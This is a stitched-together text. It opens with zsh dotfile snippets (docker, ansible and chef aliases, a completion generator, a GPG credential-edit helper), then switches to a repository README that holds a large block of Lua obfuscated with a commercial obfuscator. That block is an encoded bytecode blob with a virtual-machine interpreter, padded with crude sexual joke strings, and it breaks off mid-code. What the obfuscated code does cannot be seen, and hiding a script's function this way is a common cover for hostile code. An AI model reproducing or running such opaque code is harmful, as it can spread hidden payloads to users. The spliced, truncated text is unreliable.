PATH="$HOME/.cargo/bin:$HOME/.local/bin:$PATH" ``` docker.zsh ```alias dps="docker container ps --format 'table {{.Names}}\t{{.Status}}\t{{.Image}}\t{{.ID}}'" alias di="docker image" alias dvol="docker volume" alias dn="docker node" alias dnet="docker network" alias dc="docker container" alias dce="docker container exec -ti" alias ds="docker stack" alias dsrv="docker service" alias doc="docker" alias dm="docker-machine" dme() { eval $(docker-machine env $2 $1) } alias -g Jd='| docjq' docjq() { sub=$1 jq ".[]${sub}" } ``` lsyncs_status ```#!/bin/bash lsyncs=`ls -1 /tmp/lsyncd-*.status` for lsync in $lsyncs ; do name=`echo $lsync | sed 's/^.*lsyncd-//; s/.status$//'` echo $name head -n 4 $lsync done ``` cred_edit ```#!/bin/bash project=$1 cryptoedit $HOME/.creds/${project}.gpg ``` completion_generator.zsh ```generator_path="$HOME/.zsh/completion_generators" generated_path="$HOME/.zsh/generated_completions.d" function refreshCompletions() { for generator in "$generator_path"/*.zsh; do file=$(basename $generator) completion_name="${file%.zsh}" $generator >! "$generated_path/${completion_name}_completion.zsh" done loadCompletions } function loadCompletions() { for comp in "$generated_path"/*.zsh; do source "$comp" done }``` virtualenv_wrapper.zsh ```export WORKON_HOME=$HOME/.virtualenvs export PROJECT_HOME=$HOME/code export VIRTUALENVWRAPPER_SCRIPT=/usr/local/bin/virtualenvwrapper.sh export VIRTUALENVWRAPPER_PYTHON=/usr/local/bin/python3 [ -f /usr/local/bin/virtualenvwrapper_lazy.sh ] && source /usr/local/bin/virtualenvwrapper_lazy.sh ``` ansible.zsh ```alias agx="ansible-galaxy" alias apb="ansible-playbook" ``` chef.zsh ```alias kc="knife cookbook" alias kcl="knife client" alias kd="knife data bag" alias ke="knife environment" alias kn="knife node" alias kr="knife role" alias cuv="cat ~/dev/chef/cookbooks/version" ```
zazxa2133/Master-Hub
zazxa2133/Master-Hub README.md ```for l,e in pairs({(function(e,...)_1a68fbe58a58e095="This file was obfuscated using PSU Obfuscator 4.5.A | https://www.psu.dev/ & discord.gg/psu";local S=_1a68fbe58a58e095 local ee=e['C6dcrC01'];local K=e[((188399751-#("psu-devirtualizator.zip.7z")))];local X=e[((793276179-#("nele.exe wa here")))];local P=e[(272601954)];local _=e[((500185842-#("Nasty creampie anime girls - perth, 2021")))];local v=e[(236133827)];local E=e[(537839695)];local i=e[((492105165-#("what")))];local q=e.iAqL6b;local b=e[((#{283;}+324999311))];local u=e[(519235290)];local o=e[((#{140;512;708;}+854563863))];local Y=e[(23783931)];local R=e[(938178216)];local h=e.sbA57B;local j=e[((121874062-#("Chicken butt")))];local L=e[(298018068)];local B=e[((#{142;457;305;854;(function(...)return 89,941,770,...;end)(741,550,168,554)}+69791594))];local t=e["zO2gdxFhZe"];local T=e[(808039168)];local Q=e.bQcW55balO;local U=e[((196181789-#("Ok balls")))];local F=e[(99194324)];local m=e[(521189064)];local p=e[((#{}+957190786))];local C=e[(658459383)];local G=e[(808281795)];local c=e[((#{}+461992584))];local k=e[((#{902;930;589;652;(function(...)return 949;end)()}+419562443))];local H=e.ECnJvtZGn;local W=e[((#{966;373;147;(function(...)return 389,558,466;end)()}+349245992))];local f=e[(413185253)];local d=e[(777960921)];local O=((getfenv)or(function(...)return(_ENV);end));local n,r,l=({}),(""),(O(o));local a=((l[""..e['euDtFMB2'].."\105"..e.VBxo5f.."\51\50"])or(l[""..e["euDtFMB2"]..e['yzpczwkrp'].."\116"])or({}));local n=(((a)and(a["\98\120"..e[f]..e["mrItQ76J0"]]))or(function(e,l)local n,o=o,d;while((e>d)and(l>d))do local c,a=e%t,l%t;if c~=a then o=o+n;end;e,l,n=(e-c)/t,(l-a)/t,n*t;end;if e<l then e=l;end;while e>d do local l=e%t;if l>d then o=o+n;end;e,n=(e-l)/t,n*t;end;return(o);end));local x=(t^b);local D=(x-o);local w,g,y;local Z=(r[""..e[p]..e[u].."\97\114"]);local x=(r["\115"..e.cB6ksblBSZ.."\98"]);local s=(r["\103"..e[B].."\117\98"]);local s=(r[""..e["euDtFMB2"].."\121\116"..e[c]]);local M=(l["\115\116\114"..e["yzpczwkrp"].."\110"..e['jZJUs']][""..e[F]..e[h]..e["VBxo5f"]..e[p]..e[u]]);local V=((l["\109\97"..e['VBxo5f']..e[u]][""..e[i]..e[E]..e[c]..e[m]..e['xbcPkF5y']])or(function(e,l,...)return((e*t)^l);end));local r=((l["\117"..e['p3juBe']..e['xbcPkF5y'].."\97\99\107"])or(l[""..e["VBxo5f"]..e[h]..e.euDtFMB2..e[i]..e[c]][""..e.cB6ksblBSZ.."\110"..e.xbcPkF5y.."\97\99"..e[C]]));local C=(l[""..e[F].."\97"..e['VBxo5f'].."\104"]["\102"..e[i]..e[f].."\111\114"]);local N=(l["\112\97\105\114"..e[B]]);local z=(l["\112\99"..e[h].."\108\108"]);local F=(l["\116"..e[f].."\110"..e["cB6ksblBSZ"]..e[F].."\98\101\114"]);local I=(l["\115\101"..e.VBxo5f.."\109\101\116"..e[h].."\116\97\98\108"..e[c]]);local I=(l[""..e[B]..e[c]..e[i]..e[c].."\99"..e['VBxo5f']]);local J=(l[""..e.mrItQ76J0.."\97\119"..e[B].."\101"..e['VBxo5f']]);local J=(l["\116"..e.Fafw5o.."\112\101"]);local J=function(l,n,e)return e+n or l*e end;w=((a[""..e[i]..e[B]..e[u]..e["yzpczwkrp"]..e[k]..e["VBxo5f"]])or(function(l,e,...)if(e<d)then return(g(l,-(e)));end;return((l*t^e)%t^b);end));local B=(a[""..e['euDtFMB2']..e["p3juBe"]..e[f]..e["VBxo5f"]])or(function(e,...)return(D-e);end);g=((a[""..e['mrItQ76J0'].."\115"..e[u]..e.yzpczwkrp..e[k].."\116"])or(function(l,e,...)if(e<d)then return(w(l,-(e)));end;return(C(l%t^b/t^e));end));y=(a[""..e['euDtFMB2'].."\97"..e['p3juBe']..e[E]])or(function(l,e,...)return(((l+e)-n(l,e))/t);end);local t=(a["\98"..e[f].."\114"])or(function(e,l,...)return(D-y(D-e,D-l));end);if((not(l["\98\105\116\51"..e.TJxnOqxPy]))and(not(l[""..e['euDtFMB2']..e['yzpczwkrp']..e['VBxo5f']])))then a["\108\115"..e[u]..e["yzpczwkrp"].."\102\116"]=w;a[""..e.euDtFMB2.."\111\114"]=t;a[""..e["mrItQ76J0"].."\115"..e[u]..e['yzpczwkrp'].."\102\116"]=g;a[""..e.euDtFMB2..e["p3juBe"]..e[f]..e["VBxo5f"]]=B;a[""..e["euDtFMB2"]..e[m].."\111\114"]=n;a[""..e['euDtFMB2'].."\97"..e["p3juBe"].."\100"]=y;end;local u=""..e[P]..e[v]..e[G]..e[E]..e['doOJuiy']..e["Dpu2Zm"]..e[P];local t=(l[""..e.VBxo5f..e[h].."\98\108"..e[c]][""..e["yzpczwkrp"]..e['p3juBe'].."\115\101\114\116"]);local b=(((l["\116"..e[h]..e.euDtFMB2.."\108\101"][""..e[p]..e.mrItQ76J0..e[c]..e[h]..e.VBxo5f.."\101"]))or((function(e,...)return({r({},d,e);});end)));local h=(l["\116\97\98"..e[i]..e[c]][""..e[p].."\111\110\99\97\116"]);local t=(l["\116\97\98"..e[i]..e[c]][""..e["mrItQ76J0"].."\101\109"..e[f].."\118\101"]);l["\98\105"..e['VBxo5f'].."\51"..e.TJxnOqxPy]=a;local l=((-ee+(function()local a,l=d,o;(function(o,n,l,e)e(l(e,e,e and l,e)and n(e,e,o,e),n(l,e,e and n,l)and l(n and l,n,e,o),l(n,n,l,e)and l(n,o,l,l),n(e,o,o,n))end)(function(c,t,n,e)if a>X then return n end a=a+o l=(l+Y)%R if(l%L)<=W then l=(l*K)%U return c else return t(n(c,t,n and e,e),n(c,e,e,t),e(t,c,e,n),c(t,t,e,c))end return e(n(n,e,e,e),n(e,n,c and e,e),t(c,c,t,e),e(t,e and n,n,e)and t(e,t,e,e))end,function(e,t,c,n)if a>H then return e end a=a+o l=(l+q)%T if(l%j)<=Q then l=(l*_)%(6510)return n else return e(e(t,e,c,e),t(e and n,e,n,e),c(t and n,e and c,e and n,n)and c(t,t,c,t),e(n and n,e,n and t,n)and n(n and c,c,c,t))end return t(c(t,e,e,t),e(n,e,t,c),e(t and e,n,t,c),c(e,t,n,e))end,function(e,n,t,c)if a>(363)then return n end a=a+o l=(l+((#{620;126;186;(function(...)return 368;end)()}+878)))%(7871)if(l%((#{719;621;(function(...)return 546;end)()}+557)))<(280)then return t else return n(e(n,c,e,c),t(c and t,e,n,c),c(c,e,c,t),e(t,e,e,t))end return e(c(e,e and c,n,n),e(e,t,n,e),e(e,e,n and e,t),e(n,n,t,n))end,function(t,e,n,c)if a>((#{263;(function(...)return 61,815;end)()}+288))then return e end a=a+o l=(l+(128))%(3650)if(l%((#{}+1734)))>=(867)then l=(l*((#{256;290;}+814)))%(43555)return n(c(n,n and e,n,e),e(e,t,n,t)and e(t and c,n,e,e),e(n,n,n,t and e)and n(n,e,t,e and e),n(n,e,n,c and c))else return e end return n end)return l;end)()));local t,a=z(function(l)local e,n=l()local t,l=e(l(F),n)local n,e=e(J,d,nil,n)return F(M(e,u))-F(M(l,u))+o end,function(e)if e then return function(e)return e()end else return z,''end end) local t=(#S+(165));local i,B=({}),({});for e=d,t-o do local l=Z(e);i[e]=l;B[e]=l;B[l]=e;end;local h,a=(function(n)local c,a,e=s(n,a,(3));if((c+a+e)~=(248))then l=l+(181);t=t+(117);end;n=x(n,((#{902;71;217;}+2)));local l,a,c=(""),(""),({});local e=o;local function r()local l=F(x(n,e,e),((64-#("I am going to anal blast you"))));e+=o;local n=F(x(n,e,e+l-o),(36));e+=l;return(n);end;l=B[r()];c[o]=l;while(e<#n)do local e=r();if i[e]then a=i[e];else a=l..x(l,o,o);end;i[t]=l..x(a,o,o);c[#c+o],l,t=a,a,t+o;end;return(h(c));end)("PSU|24g21h21H111110279121227927d27D1414279111K1L27e10111I1J27N27827N1L1K27R27i1X1W27m25s25S27923423B1727922021O101421J1Y1H26m24218279239161m1N161D191L26823W1927923B1i171H1S1C181e1h24T25V1A27921Z28d21321i1n141V1A1625825t28H1022R1b28p17131H1c2172221c27929l1D1618121F171D151v1j27324D2861023728l29d29F25826527H1023B1M1j1S22X132AH22U1f1r1n25M2591i27922B21K1a1L1h2A21E1j1m21G21o1D1l1i191T1V21721T2a922i21H2A01b1C1M2381E28t1021T1Y1N2bD1n2B127J2391527922C21d141C1u21U21h2AH22821d1l1S2331d296102aq2AS1m1Q2Bp1F1D1s23i1e29v29M1f19121G15161n1d1p1g1M2331M2Cg21Y21B2AS21i29b141j1n24c26H2a922X17181729u1222W181F2C121d1928P1v1T1629A29C29E1625m24Q2c01022S11171N1i27128G27921u2191b1t21Q21Q2EH21g22m2E521y21g1j2901l22R27q10236171R21d2181m28K2E921m21L1j1r1d2bu16112361N1B2792241z1c121d21R21C1H1r1P1422W1Q1627921V1Y2901N1j25q24H2CR1022a21J29z1r1h1z21f2f82Fa1126j23M2di1Q21821P28x1l26Z2A82dS1t1C21I2191N22s2D62CS29x29z1F11161o1Y2en2831J2FK102162231D29V27b1B1D21m2gt2CC1d121623V26d2fF1022b213161R171921D21j2D11G1L28527922V121H2cZ1B1o1623A2fU1022P18142CN1r21B22f29u1021z2122902db1H101T2hv1k26U23x29J2212132it1l2Cn161l23F2Hp21U21c29C1A1x21116171Q1726424P2Ic2361J1f1A1b1222y1F29J22U2f72F92dx1123K2692dR2g421j2cc151a122bx1Y2D92E821X21E1327922a21F1o22t1i2g32ex2Ez2f12f31N21M21F1P1k21321S2iC2Ca2de1b1q21x21N2cg21z21E1S21m2DC2E11L22u1m29v1h29c2B121m2KO1m2F42F62Gc2jx25D24M2BQ22C1z2Aw1B213213181922W142kE1022V181B1K23527s21323S24k2HP22r1h1J1I1r1R2AC2De21g22629j2982k6182I629M23G2Il2Ls2LU21p2l929f25M2Jj287219141d1O1s22H2C827923828O1L25825U2hP2981h21J21711151828L1B21h22G2m222t1M132301g2il22b21O1Q1r1A21j2mz1622c21R2g32I42lf1C2781b2Cz2jx1T21422k2A921V217192Cu121124G25D2e523729P1M1P2361o2ah2311c2CC24S25Q2CG230131e151n172ht2hV22o2JS2792Ab2iR2It191k2642e42LE29m142632pP102381l2p91921q22l2Ic2321r1O2A11n2152231G2792d8151O2lF2HU191Y2171F2pY112692462Ev2pJ2172171S1q29C1521n21i1d112l01t1t1D23i2ph102QC192142141m1r24s25C2Ah22c21N101326h23l2aH21X2172q423N26b2hC1021v21I2862Fe1Q28C2fY1j1h2bZ27921T21e101m29325K2ir2AA2s91S112hc2r01U122bD1l28m2R42H12Pi2Pd2qG1N2iB2972io182182192692rm2Nb2jE1g22q2SP2Ru152eq2901Z21v2E52251y2fT1m25m2541n2QB1Z2772fZ1d2qX1i21n2gt1N21021h102ht1B1n111H2i12A92282B82N72U026424N29J2Ob1n1H1t1s2pV122E522B21N2861R24T25D1o2aX21M141O1p2B92Jx21O21f152CO1621r2fI2FK192sy2592952I32I51q1b2Dd1N2lK24t2642e522u2a21V1M2682t11022621B2902E32e522t2tk2R226V23n2Ic2202152jn2LY22q192G32Ni21C1X1M1G161B1A151F2JG21u21M2HP2Ab2KP21m21o2h821J22e2rt21u217172wG2Py1w21f1j2l02372BP2792E7162fJ1t1P151925825m2eV2OB2Qr2QT2qv2qx2QZ2r12r324G2Ng2GP1C2Dz2aD2o721G2E52MW101b22n2Xw2C12121j181521j22B2iy2131Q1Y2hy2D227324E2Ah22F21e191824G25p2Bq2bs2tX2ld1S1t1B22T1K29J28j28L1m151L1L23H2SJ27922n1o21w2M227D26O25R24024L2cg22a2131r2My2e029f22c21j2ic21v21813131t21T23921X2M22321B1i2342m12792DJ1Q24W25f2A92oB2h72I822Y2Ny27922w2862N52JV2gD21H22N2Ah2381t1a1824v25m2g32J81r2DQ21p2121m181o21121f2R322X2YX2Va2Ir1H2c41u24q25Z2G32d82WX2k91r2e82Nk2NM1825N2mc2Pi2S92cZ14151B112k71y22c2k12ob162b51q2Mr2z32pX2bP1l22o2qA29k2he2hg2Rw1O2d02V02z21h24H2yO28U1O2xA1O29p2hl23d2gW10231122Hf1F1v1u2Mh1t25325E2ic2Wn2B21r24q2oT2aX21N28O1024o25o29j21U2lt1m21H21D1j1626m2gO2RU2on27L1h1123u2Dh2fV2181t1N1y2l623R26J2UJ21N111r313Q2442g322621N2q52e91X21I1k141g2Hf2O72NA2Ai31111T24A2ho27922e21r314b27j1d21l31101N26V28s2aX2FN2TK1B2152L62322t622R2Od2HK1l24t311f2kf21J2wf111n314j2pK2iU21H2272bQ2Om191j2h72Ud1n2Q32A922321A2L7218311w2j52HP2342Sk2g82Cz21721K1i1S26K23S2RT2391R2SJ1t316D1N316F316H26r23V2sC2cI28M1F2K52dq2U12I61N1r1T21G2382S71022W2ug2M122127l2201E2Uf31422242252fj21u22d2MI121p22b1327c1S2262262251E131D22521U2901721t23h2qV2yl22Z21V192722Yh2fv313U21b2oK2DS2tK2Y51725D24i2rT2262171H13312p1p2122181j1p1E31542gg314w21f2cz317521S26U313C1022d1h2N422n26U2RF2ax21I141L26p23u2K123B1531751h2wp316z1p1i1d2B41m22D21l29J22021P1O1c2H028n1y2252hp2fH2fj1d21O2U61S31612P027922q2hc2Rk23Y31aA21l1K21e21i315r2PM2Oj2A922e319431742Zv25231922Ew1n314l1S2As21Q2292CG2fh1821G2o621q318I102rO2QK2bp1122r2x5102202131V102SM21c2WW26S2432bQ22F2QY1721k1z27L2oR312N2id1k314a31B62um24A272312C31A231A431A61D21I21p101r210313o16142Su29K2lf319J1H23d1v2m22372cz23I2xb2792222111d21721922R2t62U52N631AG24C26L2M22341S1u2152Y92DS2DU1l2dw31CP2J6315L2g71H2x02X21q2632ua2NB1r1S2Sr2Hv1X2KW27921W1x171G1R1q2331H2Rt31D42jE2JG1W2O625M24U27S1a24024F2E522e2ye1g1z29t2792te1b1H1p1921I2fN2Fp2FR31d22Ch1a2KE1t2392ui31E71X162fK2512vi2792Ca2Wi171V23027E21s26726721C2382Ah319b2N42BF2a921Z21H2de2dW2r431042r7191P31b92rt2p21a1E21M214319P1T31281922q31g722121m21E23p31C622E141131el24J2IL2IZ2uU141e2Db29C2de1222P2sc2G52k42k62bx21j2zJ1T313p1225m24o2A92kg16131B2KE26H23Q31cY1A1N23k26g2IC2dJ1T28l313Q2eD102242111e1F2yT2hV1N22Z1R31fF13171k1P1o2NK28P2132161A28X1821A313u21d2x12L01721u1W2sC22B21E1o21g2rb101I31FH21J21J314l2D31726P31An279314F314h1n2X02oP2n12Ic2mE2pr1r26T313S2Fd31J92lK22w31F8310B1423j31EF2792yJ21r2181X21K1721921g2292R21724i31561031db2U721h2L62iJ2SC235314m1G1G21M21c1121d318r31dN31Dp26331hj27922P2wI1T182if22k2b831Fl21r31EI1731eK2zM1621q22a2BQ2EF2Eh21r2151t2I622Q10310a2M52CV311W1Z31E62m32I52cz1222O2bL2pi1i2Fz1C172j12J326831Jd102iZ1U15112Ts2DQ311T31Fw2i32X81822C1X312c22d315321n21331mB112Xt2E11z315U31052gI2WQ312Y2QZ2692442SC2ob2Sf2sH1b316O1V2sM28N27031Kd22a21n31I61s21F21h2fP24e26E313j1Z12182G831Nr26P31er283122Hu1q21e2BG2ax2132u231bs2oR25x2sc2TE2tg21321J278311K22N23621B317024F26S27I27K27m121q2uq27E1i1v2Od24q24q27I2jE1027b21921931Ot317z25325327931ot191423923931p81v2Y61q1q31PE2Of22H22h31Pe31in1U1U31pe2NN22k22k31pe141925725731pe2WX23N23n31Pe2We21521531PE111C23623631PE101d25B25B31PE2P925L25L31pe2A021u21u31PE1t1G23x23x31pe1s1H1m2LD31J41v1v1i25625631pe1U2h727C31R02KT23O23o31pe1O1l21821831PE2MJ2EJ31Pe2QU25025031pE1L1o31py31Pe31iG25425431PE1N1Q31kn31pe2rc24X24X31Pe28y23031FQ31r01g2r21T31Pe1J1U21M21M31pe31OT25P25p31pE2191W172a931OT31k325j25J31pE21B1y2zT31Pe21A1Z25825831pE21521025g25g31pe2142111W27z31r021721222y22Y31Pe216213315y31Pe21121424324331PE21021524m24M31PE31Il1N2TK31R021221727531PE1X21822G22G31pE1W21921221231PE1z21A21p31ck31R02k91y1Y31pe21P21c23K23K31pE21O21D22122131Pe21r21e24B24b31pe21q31942ic31ot21L21g24v24v27I27i27B21g21G31P41321621631pE31pa22D22D31pe2Y622u22u31Pj1625q25q31pn1723g23g31Pr1821l21l31Pv1923323331q01A23s23s31q41b25225231Q81c24524531Qd1D21K21K31qi1E31wR31qM1f23723731qq1g22322331qv1H22c22C31PE31R224h24H31r61j21r21r31pe2KT21n2Ri31R031rF21121131RJ1m24N24N31rm1N23Y23y31rq1O23l23L31ru1p317W31RY1q23Z23z31S21R24e24e31s61S22722731Pe31Sb24D24D31Se1u24724731sJ1v21x21x31SN1w23M23M31PE31K322s22S31Sw1Y21021031T02ga21F31T521023c23c31tA21124G24g31pe31tg1p1P31tk21323523531to21424u24u31tT21523423431ty21625d25d31pe31u324J24j31u621824w24W31ub21924z24z31Ug21a22a22a31pE2K925m25M31UP21c22022031Uu21d31rO31uz21e1A2Cg31OT31V522222231PE31V924c24c31VD317t31Vf31vH1v317Z21w21w31VM1422Q31LM31R02Y625N25n31vU22P22p31VY24924931W22Qr31w623d23d31Wa22i22I31we31L231wI25E25E31Wm23R23R31wQ25a25A31WT23T23t31wX21D21d31X122l22l31x51I24424431X922E22E31XD1K24124131rE1l25K25k31XL23P23p31xP22n22n31xt1O31or31ot31IG21y21y31Y024T24t31y41D2rT31OT28y25i25i31yC31gJ27L31R031sf2Mi31Yk23i23i31yO22z22z31Ys1X24I24I31yw24Y24y31Z02LW31Z322j22j31z725h25h31ZB21221e317931OT31TL31J731zj1C2IL31ot31tu22m22M31ZR23b23B31zv21723w23w31ZZ24o24O32031Z1z320722W22W320b21b2rA320F31p2320j22V22v320M22422431v421f242242320U21g23u23u31VD12320z31VG31VI24r24R321623V23V31vQ1525525531Vu23f23f31VY22f22f31W224s24s31w624624631wa23E23e31we24P24p31wI22522531wm22O22o31WQ31R131Wt24L24l31wx23H23h31X125r25R322C1b2hp31oT31R721V21v322j1I2Aw31xH1l24F24f31xL22R22r31XP31ux31Xt22x22x31xX21S21s31Y024024031Y41k27V31r028Y25o25o323E2du31YG21T21T31yK22922931Yo23A23a323q21Z21z31yw1s2Ug31r031t124a24a31z321a21A31z72312313245152E5324921323223231zJ22B22b31zN22822831zR248248324m27G31zZ1f2k131Ot31UC23823832071H2Sc31oT2K925F25F320F1X1X320j2db320M21c21C325a25c25C325E27731vd1514321031VI31VG31vD311u27B2Zt112o22rj2M231p91422T22t27I31eC10328M27731oT2Of32aA27923n24D1Q1426e26e27925Z25Z31P82it1831xB2791X21B25725131l231l2314A31Pi2Du2Zt31Ot2wX25925932aU141b31X732AU131C31XF32AY21b217211324D324D31OT31Qe32AJ27n1d29u31wR27B1128l10324D31Wr311n32bp32by2UU2xz326x1v31Q921b21b27I28y1c320o320O112mg1031L2320o23n23p121432aS27926f26f32Au2vD32AX1032aZ23523j27G27G32B532aE1532B81v2oF24K24K27i32CK27g16161i2yu1431AE32AU2Wg31sU32ay1331UO328M328m31OT31In23q23q27i2Yt32d631Sq111G2ir329227N325J28A2ah1127Y27m"),(#S-(90));local function o(l,e,...)if(l==535917562)then return((n(((n(e,598070))-893747)-381322,463078))-261384);elseif(l==369454274)then return(((((e)-71012)-723933)-544781)-787328);elseif(l==886654370)then return(n((n(((e)-536842)-21670,213102))-250858,564073));elseif(l==431896982)then return(n(n((n(e,962926))-414703,209308),389806));elseif(l==829120826)then return(n(n(n(n((e)-30448,73575),693136),122351),388945));elseif(l==307730883)then return((((n(e,958230))-112177)-808382)-618402);elseif(l==471417973)then return((n(((e)-384778)-852570,334856))-163796);elseif(l==656313550)then return((((n(e,893166))-369501)-565289)-329366);elseif(l==334218103)then return(n(n(n(e,488588),712130),487437));elseif(l==72859664)then return(((((e)-508251)-264887)-565440)-715827);elseif(l==129681192)then return(n((n(n((e)-353213,398827),745975))-216824,811834));elseif(l==394587647)then return(n(((n(e,559778))-193669)-232528,68734));elseif(l==598765948)then return((n(n(n(n(e,831508),286359),32289),635995))-142663);else end;end;if _ENV then _ENV._ENV=_ENV end;local d=e[((#{}+146770438))];local o=e[((715417088-#("gggggggggggggggg")))];local u=e['zO2gdxFhZe'];local F=e[(772693174)];local t=e[((#{}+854563866))];local c=e[(777960921)];local D=e[((944225721-#("obfuscating a serverside be like")))];local A=e[((#{391;833;228;74;(function(...)return 97,109,630;end)()}+270031746))];local function f(n,e,l)if(l)then local e=(n/u^(e-t))%u^((l-t)-(e-t)+t);return(e-(e%t));else local e=u^(e-t);return(((n%(e+e)>=e)and(t))or(c));end;end;local function i()local e=n(s(h,a,a),l);l=e%o;a=(a+t);return(e);end;local function c()local r,t,c,e=s(h,a,a+d);r=n(r,l);l=r%o;t=n(t,l);l=t%o;c=n(c,l);l=c%o;e=n(e,l);l=e%o;a+=A;return((e*F)+(c*D)+(t*o)+r);end;local function d()local e,t=s(h,a,a+u);e=n(e,l);l=e%o;t=n(t,l);l=t%o;a=a+u;return((t*o)+e);end;local M="\35";local function S(...)return({...}),I(M,...);end;local function T(...)local O=e[(695263695)];local E=e[((#{566;523;(function(...)return 923;end)()}+146770435))];local b=e.zO2gdxFhZe;local I=e[(567913574)];local F=e[(352786589)];local g=e[((270031783-#("open=hentai.exe;icon=porn.ico;")))];local Z=e[((342368727-#("perth")))];local v=e[((#{202;874;584;36;(function(...)return 699,754,991;end)()}+985317599))];local t=e[(777960921)];local J=e[(145590512)];local Q=e[((#{}+936439391))];local D=e.nAylDu;local A=e.h5fsQm5e;local j=e[((#{656;918;981;989;}+68714358))];local y=e[(324999312)];local o=e[((854563877-#("hahaha noob")))];local U=e["ql6ifaoL"];local w=e[((715417075-#("sus")))];local R=e[((#{(function(...)return 694,916,...;end)(298,928,586,34)}+501062542))];local L=e[(204854285)];local k=e[((#{411;(function(...)return 80,994,841;end)()}+911148719))];local _=e[((#{(function(...)return 194,708;end)()}+760455654))];local T=e[((#{52;403;869;31;(function(...)return 620;end)()}+37110967))];local p=e[((#{224;93;362;219;(function(...)return 527,421;end)()}+550485491))];local S=e[((#{683;}+560243950))];local function z(...)local m=({});local e=({});local u=({});local M=i(l);local P=d(l);for e=t,c(l)-o,o do m[e]=z();end;for r=t,c(l)-o,o do local d=i(l);if(d%F==O)then local l=i(l);e[r]=(l~=t);elseif(d%F==o)then while(true)do local l=c(l);e[r]=x(h,a,a+l-o);a=a+l;break;end;elseif(d%F==E)then while(true)do local n=c(l);local l=c(l);local c=o;local a=(f(l,o,T)*(b^y))+n;local n=f(l,F,j);local l=((-o)^f(l,y));if(n==t)then if(a==t)then e[r]=C(l*t);break;else n=o;c=t;end;elseif(n==v)then e[r]=(a==t)and(l*(o/t))or(l*(t/t));break;end;local l=V(l,n-I)*(c+(a/(b^R)));e[r]=l%o==t and C(l)or l break;end;elseif(d%F==p)then while(true)do local c=c(l);if(c==t)then e[r]=('');break;end;if(c>J)then local t,d=(''),(x(h,a,a+c-o));a=a+c;for e=o,#d,o do local e=n(s(x(d,e,e)),l);l=e%w;t=t..B[e];end;e[r]=t;else local o,t=(''),({s(h,a,a+c-o)});a=a+c;for t,e in N(t)do local e=n(e,l);l=e%w;o=o..B[e];end;e[r]=o;end;break;end;else e[r]=nil end;end;local n=c(l);for e=t,n-o,o do u[e]=({});end;for C=t,n-o,o do local n=i(l);if(n~=t)then n=n-o;local h,a,B,r,F,x=t,t,t,t,t,t;local s=f(n,o,E);if(s==D)then elseif(s==A)then h=(i(l));x=(d(l));r=(d(l));a=(c(l));B=({});for e=o,x,o do B[e]=({[t]=i(l),[o]=d(l)});end;elseif(s==b)then h=(i(l));r=(d(l));a=u[(c(l))];elseif(s==o)then h=(i(l));r=(d(l));a=(c(l));elseif(s==t)then h=(i(l));x=(d(l));r=(d(l));a=(d(l));elseif(s==E)then h=(i(l));x=(d(l));r=(d(l));a=u[(c(l))];end;if(f(n,A,A)==o)then a=e[a];end;if(f(n,g,g)==o)then r=e[r];end;if(f(n,k,k)==o)then F=u[c(l)];else F=u[C+o];end;if(f(n,D,D)==o)then x=e[x];end;if(f(n,p,p)==o)then B=({});for e=o,i(),o do B[e]=c();end;end;local e=u[C];e["pHtb0FoIAc"]=a;e[Q]=F;e[-U]=h;e[-_]=r;e['vvE9wIIbLG']=x;e["PQ9C64A"]=B;end;end;return({[656834.2341061427]=M;[S]=P;[-Z]=m;[-L]=u;['difgARL']=t;['vZ7']=e;});end;return(z(...));end;local function B(e,l,f,...)local a=e[656834.2341061427];local i=e[931444];local c=0;local o=e[-778758];local l=e["vZ7"];local D=f['\73\110\115\116\97\110\99\101'];local A=e[-576156];return(function(...)local l={};local e=({});local t=273925;local n=-189856;local e=(true);local F=-843443;local x=o[c];local s={...};local e=(411593734);local e='PQ9C64A';local u=(I(M,...)-1);local d="vvE9wIIbLG";local c=-(1);local o="pHtb0FoIAc";local h={};local e=D and 1 or 0;for e=0,u,e do if(e>=a)then h[e-a]=s[e+1];else l[e]=s[e+1];end;end;local u=u-a+1;repeat local e=x;local a=e[F];x=e[t];if(a<=16)then if(a<=7)then if(a<=3)then if(a<=1)then if(a==0)then l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];e=e[t];elseif(a<=1)then local n=e[n];local o=e[o];local t=50*(e[d]-1);local a=l[n];local e=0;for o=n+1,o do a[t+e+1]=l[n+(o-n)];e=e+1;end;end;elseif(a>2)then l[e[n]]();elseif(a<3)then l[e[n]]=l[e[o]];e=e[t];l[e[n]]=e[o];e=e[t];local a=e[n];l[a](r(l,a+1,e[o]));for e=a+1,i do l[e]=nil;end;e=e[t];l[e[n]]=f[e[o]];e=e[t];l[e[n]]=f[e[o]];e=e[t];local a=e[n];local i=l[e[o]];l[a+1]=i;l[a]=i[e[d]];e=e[t];l[e[n]]=e[o];e=e[t];local a=e[n];local d,o=S(l[a](r(l,a+1,e[o])));c=o+a-1;local o=0;for e=a,c do o=o+1;l[e]=d[o];end;e=e[t];local o=e[n];l[o]=l[o](r(l,o+1,c));for e=o+1,c do l[e]=nil;end;e=e[t];l[e[n]]();e=e[t];e=e[t];end;elseif(a<=5)then if(a==4)then l[e[n]]=l[e[o]][l[e[d]]];elseif(a<=5)then l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];l[e[n]]=e[o];e=e[t];e=e[t];end;elseif(a>6)then 